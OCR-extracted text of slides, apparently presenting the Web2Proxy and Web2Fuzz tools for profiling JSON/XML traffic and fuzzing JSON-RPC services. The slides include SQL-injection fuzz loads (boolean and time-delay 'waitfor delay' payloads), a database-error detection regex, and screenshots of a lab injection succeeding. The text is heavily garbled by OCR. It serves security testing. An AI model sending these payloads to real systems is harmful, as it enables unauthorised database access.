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— Web2Proxy

e Objectives

- Analyzing Web 2.0 streams (XML, JSON, JS-
Objects etc.)

- Running application through the tools and
capturing or trapping those requests

- Profiling requests and responses

- Determining entry points and various
attributes of response like hidden fields, login
forms etc.
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— How It works?

o Start Web2Proxy and define your scan
name and listening port

e Setup that port as proxy in your browser
 Now browse your target application

 Web2Proxy will be tunneling all requests
and response at the same time profile
each of them

* You get nice profiled view on application
window
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Setting a scan

B webzProxy ) ]

§car\ =
Start N Stop Trap | im:l-'-’ M

& Bluginfy Solutions Pyt Ltd,

Praxy | Trap |

Request Log Profile Rezponze Log Profile
URL \ Request [M] ? [[PB]| <> | {1} | <S> |<A> | _ext API RC | {4} |<X> [{J5}| <S> | C | HF | IF |[Form|<AP>| LF

ScanMame: |webstnle

Request | Responze | Req./Resp. Profile

Port Mg, : [5080

oK | Cancel

/

Define new scan /

Enter name and listening
port address
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Set that port on browser

Fopt|Connection settngs ——— f x

—Configure Proxies ko Access the Internet

" No procey

— " futo-detect proxy setkings Far this network

GE % Manual proxy configuration:

- HTTP Proy: I localhost Port: ansuﬂ

[ Use this proxy server For all protocals

Port: Dﬂ
Poart: D::I
Fort: Dﬂ
Part: D::I

- S5L Proxy

ETP Proxy

Gopher Prosy

S00CkS Host

" SOCKSw4 ¢ SOCKS 5

Mo Procey For: I localbost, 127.0.0.1

Example: .mozilla.org, .net.nz, 192.165.1.0/24
" Butomatic prozy configuration LIRL:

= Reload | —
| (04 I Cancel | Help | J
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Start your proxy

:

= Web2Pronry ;lg ﬂ
Scan
S)‘alt | SED TQJ a% J JJ J'.:/
@ Blueinfy Solutions Pyt Ltd,
_ Prosy I Trap |

Start and stop your

Ayt | nn Profile Reznnnze | nn Profile I

Use this if you want to
Trap requests run time

Proxy and Filtering
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Profile of application

WehZPrtu

Scan

=101

Stark | Stop | Trap | wj-’-’m

2 Blueinfy Solutions Pyt Lid,

Prosy |Trap |
Request Lag Profile Response Log Profile

URL Request [M] | ? |[[PB]{<X>| {4} [<5> |<A>| .ext |[APJ RC | {4} |<X> |[{JS}|<S5>| C | HF | IF [Form|[<AP>| LF |~
1592.168.50.50 GET /HTTRA.0 GET 200 L) L L)
192 168.50.50 POST / i w HTTR/1.0 POST > : o>
192.168.50.50 POST fjsondjservice.ashs HTTRA.0 POST [ F )] \hﬁ ashy ::) 200 |G
192.168.50.50 POST fzondjgemvice.ashe HTTR/1.0 FOST L= \_}\ azhi f?, 200 |
192.163.50.60 GET /catalogflazh. azps HTTRA.0 GET \ azpH 200 [ ) L
192.168.50.50 GET /products. swf HTTR/.0 GET awf 200
192.168.50.50 GET /product. aspe?id=1 HTTR/A1.0 GET |Sa¥ aspr :“; 200 L) ]
192.168.50.50 GET /product azpeYid=4 HTTR/A.0 GET |G \ azp G_.Lr 200 [ o*) e

\

Request | Flesponsel Req.Fesp. F'ru:ufilel

POST fzondjzervice. ashe HTTRA.0

Host: 192.168.50.50

Uzer-dgent: Mozilla/5 0 Mwindows; U windows NT 5.2 en-US; me1.9.7] Gecko/ 20090624 Firefor/3.5
Accept: text/html.application/shtml+=ml.application/uml;g=0.9,"/q=0.8
Accept-Language: en-uz,eng=05

Accept-Charset: |50-3359-1 utf-8;0=0.7 *:q=0.7

Content-Type: text/plain; charzet=utf-8

#-JSOM-BPC: getProduct

Referer: ¢

Content-Length: 51

Cookie: ASPSESSIONIDSSCOOSCC=HCCLCNGDEIBJOCIECPGLFFMP

Pragma: no-cache JSON Input and Output

Cache-Contral: no-cache

{"id" 3. "method": "getProduct” params"{ "id" ; 34}
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XML analysis

Wethru:-w A _I_I- ]

Scan

Start | Stop | Trap | WJJ J m

2 Bluginfy Solutionz Pyt Lid.

Prawy |Trap |

Request Log Profile Response Log Prafile

URL Request Ml | ? |IPB]{<X>| {J} |<5> [<A>| _ext |[AP§ RC | {4} [<X> [{JS} <52 | C | HF | IF |Form|<AP> | LF |«
192.168.50.50 FOST Asondzervice azhs HTTRA1.0 POST [ S azhx S 8 200 |
192.168.50.50 POST fjsonsjservice.ashe HTTRA.0 FOST [ &) - ashw (= 200 |
192.168.50.50 GET /catalogflazh. aspe HTTRA.0 GET azpH 200 [ ) -
192.168.50.50 GET /products. swf HTTPA.0 GET swf 200
192.168.50.50 GET /product azpx?id=1 HTTF/1.0
192.168.50.50 GET /product aspx¥id=4 HTTPA.0 GET [&a aspw |20 200 -
192.168.50.50 GET /product. aspx?id=7 HTTPA.0 GET | aspr | (@) Z,E/ <

Request Response | Req/Resp. Profile

HTTRA.1 200 0K

Connection: cloze

Drate: Fri, 10 Jul 2009 08:51:16 GMT
Server: Microgaft-115 /6.0

% Pomered-By: ASF NET XML stream as

-bapMet-verzion: 2060727

Cache-Contral: private
Content-Type: texteml; charset=utf-8 O Utp Ut
Content-Lenagth: 983

<l wergion=""1.0" encoding="LITF-8""7> < products: <itemns product_id="1" product_name="Finding Memo' product_desc_summany="adventure / Animation / Comedy / Family'' product_desc=""There are
3.7 trillion fizh i the ocean, they're looking for one. The Academy Award-winning creators of TOY STORY, A BUG'S LIFE, and MONSTERS, IMC. dive into & whole new world with thiz undenaater
adventure. The film follmws the comedic and eventiul jourmeys of bwo fizh - Marlin and hiz 2on Memo - who become separated in the Great Barier Reef when Memo iz unexpectedly taken far from home and
thrust into a fish tank in a dentist's office overlooking Sydney harbor, Buoyed by the companionship of a friendly-but-fargetful fish named Doy, the overy cautious father embarks on a dangerous trek and
finds himzelf the unlikely hero of an epic joumey to rezcue hiz 2on - who hatches a few danng plans of big own o returm zafely home"' product_pice="14.93"" image_path="nemo"’ rebates_file=""" /»
</products>
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—— Fuzzing

 Fuzzing JSON or XML streams

- Two aspects of fuzzing — Injection and
Response Analysis

Injecting malicious payload with different
variants encompassing encoding

Analyzing responses coming from application

Both HTTP header as well as body may
contain clues for possible vulnerabilities
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== Response Analytics

 Response can be analyzed in following
three important dimensions

- Vulnerabillity Signature
- Structure analysis
- Application behavior
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= Web2Fuzz

* Fuzzing tool
- Pass on JSON or XML stream to application
- Define your load
- Select your encoding/ency
- Pass on regex for vulnerability signatures
Start fuzzing
- Do response analysis
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— Fuzzing Analytics

* Following analysis is supported by the tool

e Signhature
- Using regex patterns

e Structure
- Checking page’s MD5
 Behavior

- Size of the stream
- Response time analysis
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Web2Fuzz

WEhZFuzz

Fuzzer |

—Fuzz Paint

Target Host |1 92.168.50.50 ¥ Do pattern matching (regex)

Fuzz | ID:'\blueinfy-tonlskweb}?fuz _I Encndel Pattern match ID:\queinfy-tooIs'\ eb2fuz _I

Select fuzz
Load

All analysis
Vectors

\\

—Fuzzing
Request

Accept-Charzet; [50-8859-1,utf-8,0=07.",q=0.7 ;I
Content-Type: text/plain; charzet=utf-g

#-JSON-RPC: getProduct

Referer: /

Content-Length: 51

Cookie: ASPSESSIONIDSSCDOSCC=HCCLCNGDEBIBJOCIECPGLPFMP

Praama: no-cache

Cache-Contral: no-cache

id"5."method":"getProduct” "params'"{ "id" : H#fuzzit}} -
Mote  Use #iuzz# at the fuzzing point Fuzz Siop |
Responges

Drate: Fri, 10000l 2009 11:09:00 GMT ;l

Server: Microzoft-I15/6.0
*-Powered-By: ASP.MET
HabspMet-Verzion: 2.0 50727
Cache-Contral: no-cache

Praara: no-cache

Ewpires: -1

Content-Type: text/plain; charzet=utf-g
Content-Length: 205

ol "errar {"name","JSOMRPCE mar", 'message’"Unterminated sting." "errars';

" JsorException”, "message”: "Unterminated string,"}+, {"name": "FormatException”, "message”: "Unterminated string. "+ JHr 75

Mo ?ﬁ; Hre | M&nse Sighature [MDEH] Payload Pattern Found =

1 a a3 49 dal 1edda 46

2 Oo:00:01.53 200 350 3bE37cETIbdfES20eba33ddia8E45 ... |1

3 0o:00:01.54 200 164 2ocbdaBF3Fadddb S FFFSaTEa52aT . |-1

4 oo:00:01.53 200 164 2ocbdfaB3F3r5dddb S 1FPESETEE52aT .. | 1000000000000 00000

5 0o:00:01 .87 200 205 Tr23ES3193833d0072FA502F 4968 .. | Erception

E 0o:00:01.51 200 205 Tr23E53193833d0072FA502F 49658 ... | Erception

T 00:00:01.51 200 209 5196220205043 19906 d2 1050, |— spntan Exceplion -
O0-00:-01 9 Talu ]l i k. ETE ], Ak A 073 Jul I L

Clear |
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Load



== JSON Fuzzing for SQL

 Here is simple list of fuzz load

o 3 |

-1
- 100000000000000000
- @
- ?
- %c0%a7
- %CO0%A2
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— Look for regex...

o .*?(sqglexception|syntax|error|exception|sql
|IDB2|Oracle|MySQL|SqglServer|ODBC|OL
EDB|exception).*?
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Snhap...

WebZFuzz ] [
Fuzzer |
r—Fuzz Paint

Taiget Host [192.165.1.55

¥ Do pattem matching [regex]

Fuzz load ID:\blueinfy-tools\web2fuz _I ﬂl Pattern match ID:\blueinfy-tools\webi?fuz _I
—Fuzzing
Request

Content-Type: test/plain; charset=utf-8
- SOM-APC: getProduct

Referer: /

Content-Length: 51

Fragma: no-cache

Cache-Contral: no-cache

Mote  Use Hiuzz#t at the fuzzing point
Responzes

{"id"™6."method":"getProduct” "params'-{ "id" : #fuzz#}}

Fuzz Stop

[N T =T T )

Date: Thu, 16 Jul 2003 06:16:42 GMT
Server Microsoft-115 /6.0
#-Powered-By, ASP.NET
w-tepMet-yersion: 2 060727
Cache-Contral: no-cache

Pragma: no-cache

Expires: -1

Content-Type: test/plain; charset=utf-3
Content-Length: 205

4"id" il "error” 4" name " " ISOMRPCErar”, "message” "Unterminated skring.", "errors":

[{"name":"JsorException”,"message":"Unterminatad string."},{"name" "FormatException”, "message": "Unterminated string. "+ H
FY
Mo ?ﬁgonse Eoeggonse ﬁ::gp&nse Signature [MD5H) FPayload Pattern Found =

200

00:00:00.03
o1

TIEIERI 1538334007 2FAS02 14968

id":null,“error " name™ S OMNR.

3 00:00:00.01 S5196bcBb202b 5045 1990d 3 10f50 ... |- L™ null, zrror fname" " S0ONR. .
4 00:00:00.01 be7 35T e 4cbatdeebel TIaT0a. . |# 1" null,“errar " hame" " S0NR. .
5 00:00:00.04 89952036 14235600 12195728476 |3 L™, errar " name"" SONRP...
E 00:00:00 ArgfSedbadT9aci 1823627016 |1
7 Q0:00:00 80 Ode T 1E4cEeSE0dTa2E0ERREDRE. . |1

Qfen0-00 co Tt}

Ol T 40 A B0 O AT OO I COC kb Ol

10000000000 OO0

-

Clear |

[C] Bluginfy Solutions Pyt

. Ltd.
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Snhap...

WEhZFUZZ il = =1

Fuzzer |

—Fuzz Paint

Target Host |'IS2.'IES.'I.55 ¥ Do pattern matching [reges)

Fuzz load |D:'\blueinfy-tools'\weh2fuz _I ml Fattern match |D:\blueinfy-tools\web2fuz _I

—Fuzzing
Request

Content-Type: text/plain; charzet=utf-2 ;l
F-JSOM-RPC: getProduct

Referer. /

Cantent-Length: 51

Pragma: no-cache

Cache-Contral: no-cache

1id" B, "method" getProduct'”,“params' 1 id" - Bfuzed)

Mote  Use #fuzz#t at the fuzzing point o i |

Responzes

LUIrgsar. cilse ;I

Date: Thu, 16 Jul 2003 0B:16:45 GMT

Server Microsoft-15/6.0

#-Powered-By: 85P MET

H-tspMetVerzion: 2.0.50727

Cache-Contral: no-cache

Pragma: no-cache

Expires: -1

Content-Type: text/plain; charset=utf-g

Content-Length: 179

4"id"i6, "errar”{ " name" " JSONRPCErrar”, "message”: "Must declare the scalar wariable \"@\".", "errors™ —

["name""SqlException”, "message”: "Must declare the scalar wariable {"@y" "} I+- =]
FY

Mo, ?i%sgonse Eoesgonse ﬁ::gp&nse Signature [(MDEH#) Papload Pattern Found

0 000000 &0 200 164 Ode7 164:6e5630d70936060bER2 . . |-1
000000 60 164 OdeT 164c6e5690dTOA3E06bbER2 . . | 100000000000000000

1544 i
10 00000006 133 A045a4d05a0a:2 1F19270808dfeE... | 1id .
11 00 ;00:00.01 133 Oeldbe1d37218e33a4e2fTe 1dif5... | XelXal Lid" &, "error " name""JSONRP...
12 Q00000 133 ceDad58d0409c5F aeBeT 120eE. . [ KCORAZ Lid" & "error " name""JSONRFP...

-

Clear |

[C] Blueinfy Solutions Pyt Ltd.
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== Blind SQL over JSON

 Here Is a sample fuzz load
- "1 OR 1=1"
- "1 AND 1=1"
- "a AND 1=0"
- "1,walitfor delay '0:0:10™
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== Analyzing responses

 Here Is the output

© Blueinfy Solutions Pvt. Ltd.

—Fuzzing
Request

Content-Type: text/plain; charzet=utf-8 ;l
) SOM-RPC: getProduct

Referer: /

Content-Length: 51

Pragma: nio-cache

Cache-Contral: no-cache

{"id"™E. "method" "getProduct”,"params"{ "id" ; #fuzzt}

Mote  ze Hfuzz# at the fuzzing point Fuzz I o |
Rezponzes

[Capies, -
Content-Type: text/plain; charzet=utf-8 il
Content-Length: 980

"B, ezl Products": 1" 'columnz'
["product_id","product_name" " product_desc_summany”,"product_desc","product_price”,"image_path"''rebates_file"], "rowms";
[[1."Finding Memao","Adventure ¢ Animation / Comedy / Family'," There are 3.7 tillion fish in the ocean, they're looking for one, The
Acadermy Award-winning creatars of TOY STORY, & BUG'S LIFE, and MOMNSTERS, IMC. dive into a whale new warld with this
undenmater adventure. The film follows the comedic and eventful journeys of bwa fizh - Marlin and his gon Memo - who become
zeparated in the Great Barrier Reef when Memo iz unespectedly taken far from hame and thrust inta a fish tank in a dentist's office
overlooking Sydney harbor. Buoyed by the companionship of a friendly-but-forgetful fish named Doy, the overly cautious father
embarkz on a dangerous trek and findz himzelf the unlikely hero of an epic journey to rezcue hiz zon - who hatches a few daring j
planz of his own to retum safely home."",14.99," " nema","" "1} =

Mo Rezponsze Rezponze | Response

Time Code Length Signature [MDEH] Payload Pattern Found

1 00:00:00.23 52 a7 3...

2 00:00:00.03 200 a0 Sr3fSedbadTiacd 18236aT0FIE. .. "1 AND 1=1"

3 00:00:00.01 200 143 89952036 14e3060d 12195728476, .. "3 AND 1=0"

4 00:00:10.14 200 230 2F3fSedba2T9acd 12226aT0R1E. . | ™ swaitfor delay '0:0:...




—— Response size

—Fuzzing
Request

Content-Type: test/plain; charset=utf-3 ;I
H-JSOM-RPC: getProduct

Referer: /

Content-Length: 51

Pragma: no-cache

Cache-Control: no-cache

{id"B."method": "getProduct"’ "params"{ "id" : ffuzzi}}

Mote  Use Biuzzd at the fuzzing point Fuzz Stop |
Fesponzes
[Capies, -1 :I
: : Content-Type: tert/plain; charset=utf-3
Length is large in ContertLongth 90

O R 0] pe ratl on — {6, result: " Product s I columns"

. . . ["'product_id","product_name","product_desc_summary","product_desc","product_price" image_path" " rebates_file"],"rows":

I nd icati ng Someth | ng [[1."Finding Nema" “&dverture / Animation / Comedy / Family "There are 3.7 tillion fish in the acean, they're looking for one. The
Academy Award-winning creators of TOY STORY, A BUG'S LIFE, and MOMNSTERS, INC. dive into a whale new world with this

undenmater adventure. The filrm follows the comedic and eventful journeys of baa fizh - Marlin and his zon Mema - who becorme

zeparated in the Great Barier Reef when Memo iz unespectedly taken Far fram home and thiast into a fish tank inoa dentist'z office

erlooking Sydney harbor. Buoyed by the companionzhip of a iendly-but-forgetful fish named Doy, the overly cautious father
Wemus trek, and finds hirmzelf the unlikely hero of an epic jourmey to rescue his 2on - who hatches a few daring —
plans af ki

/

f to return safely home.'.14.99, nema" " )1 [
Rezponze Fesponze | Reg nnse| . |
| M. T;_f oo i ,_E'LL Signature (MO5SH] Paylnad FPattern Found
v =t e T I I I
| 1 00000028 | 200 5200 S243cebo2fTSiEaTa99939:68a9 ... |™ OR 1=1" _
z 000000 200 430 SFEfSedbas Toact 1 523MaT0M 16, . | AND 1=1"
3 00:00-00.01 200 144 29952036 1425560412 195725476 . |"a AND 1=0"
4 ooon:n.14 200 930 BifSedbalT9acs 18236016, . | ™ waitfor delay 0:0: ...
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JSON’'s MD5

MD5 of AND operations
are different — indicates

possible blind sp@t\

—Fuzzing
Request

Content-Type: test/plain; charset=utf-3 ;I
H-JSOM-RPC: getProduct

Referer: /

Content-Length: 51

Pragma: no-cache

Cache-Control: no-cache

{id"B."method": "getProduct"’ "params"{ "id" : ffuzzi}}

-
Mote  Use Biuzzd at the fuzzing point Fuzz Stop |
Fesponzes
[Capies, -1
Content-Type: tert/plain; charset=utf-3 :I

Content-Length: 980

{6, result: " Product s I columns"
[Mproduct_id" Mproduct_name"","product_desc_summarny,"product_desc","product_price'’,"image_path"' "rebates_file"], rows":
[M."Finding Mema","Adventure / Animation / Comedy A Family,"'There are 3.7 tillion fizh in the ocean, they're looking for one. The
Academy Award-winning creators of TOY STORY, A BUG'S LIFE, and MOMNSTERS, INC. dive into a whale new world with this
undenmater adventure. The filrm follows the comedic and eventful journeys of baa fizh - Marlin and his zon Mema - who becorme
zeparated in the Great Barier Reef when Memo iz unespectedly taken Far fram home and thiast into a fish tank inoa dentist'z office
overlooking Sydney harbar, Buoped by the companionzhip of a fiendly-but-forgetful fish named Do, the overly cautious Father
\QQ::rk\sun a dangerousz trek and finds himzelf the unlikely hera of an epic journey to rescue kis sof - who hatches a few daring . —
pl

ansaof his owr ta return safely horme.'", 14,99, "nemma," ]

Responze | Responze Signature (MDSH]

Mo. Code Length

Payload Pattern Found

1 00:00:00.23 200 5200 S24Bcebe2fTIFERTa09930eE823... "1 OR 1=1"

2 00000003 200 aa0 Sr3foedba2 TIac 1823fEaT0R1G... |1 AND 1=1"

3 00000001 200 143 8995236 14e3560d 12 195728476 |"a AND 1=0"

4 aoeo0:10.14 200 aa0 Sr3foedba2 TIac 1 823F6aT0R16. .. | " waitfor delay 000
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Response time

Delay of 10
seconds — injection
Is successful...
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—Fuzzing

Request

Content-Type: test/plain; charset=utf-3 ;I
H-JSOM-RPC: getProduct

Referer: /

Content-Length: 51

Pragma: no-cache

Cache-Control: no-cache

{id"B."method": "getProduct"’ "params"{ "id" : ffuzzi}}

-
Mote  Use Biuzzd at the fuzzing point Fuzz Stop |
Fesponzes
[Capies, -1
Content-Type: tert/plain; charset=utf-3 :I

Content-Length: 980

{6, result: " Product s I columns"

[Mproduct_id" Mproduct_name"","product_desc_summarny,"product_desc","product_price'’,"image_path"' "rebates_file"], rows":
[M."Finding Mema","Adventure / Animation / Comedy A Family,"'There are 3.7 tillion fizh in the ocean, they're looking for one. The
Academy Award-winning creators of TOY STORY, A BUG'S LIFE, and MOMNSTERS, INC. dive into a whale new world with this
undenmater adventure. The filrm follows the comedic and eventful journeys of baa fizh - Marlin and his zon Mema - who becorme
zeparated in the Great Barier Reef when Memo iz unespectedly taken Far fram home and thiast into a fish tank inoa dentist'z office
overlooking Sydney harbar, Buoped by the companionzhip of a fiendly-but-forgetful fish named Do, the overly cautious Father

embarksz o a dangerous trek and finds himzelf the urlikely hero of an epic journey to rescue hiz 2on - who hatches a few darng —

planz of hiz own to return safely home.'".14.99," " nema" "1 [
o Hegpaie Feszoies | Bespome Signature [MOESH] Payload Pattern Found
N | Time Code Length 4 Y
000028 5200 S2dfcehc2iTSiEeTa09939e6523 . " OR 1=1"

2 |odNmaooo: o [zoo a0 BffSedbalT9ace 1 S23MEaTOR 16, . " AND 121"

I | — [ [ s S AT et e S | S |

o e T Ets [ St e SR bR i it ,

[+ |oowoioe [z |30 |afarsedbazTanca 22387 0MG. . | waitfor detay 00: |
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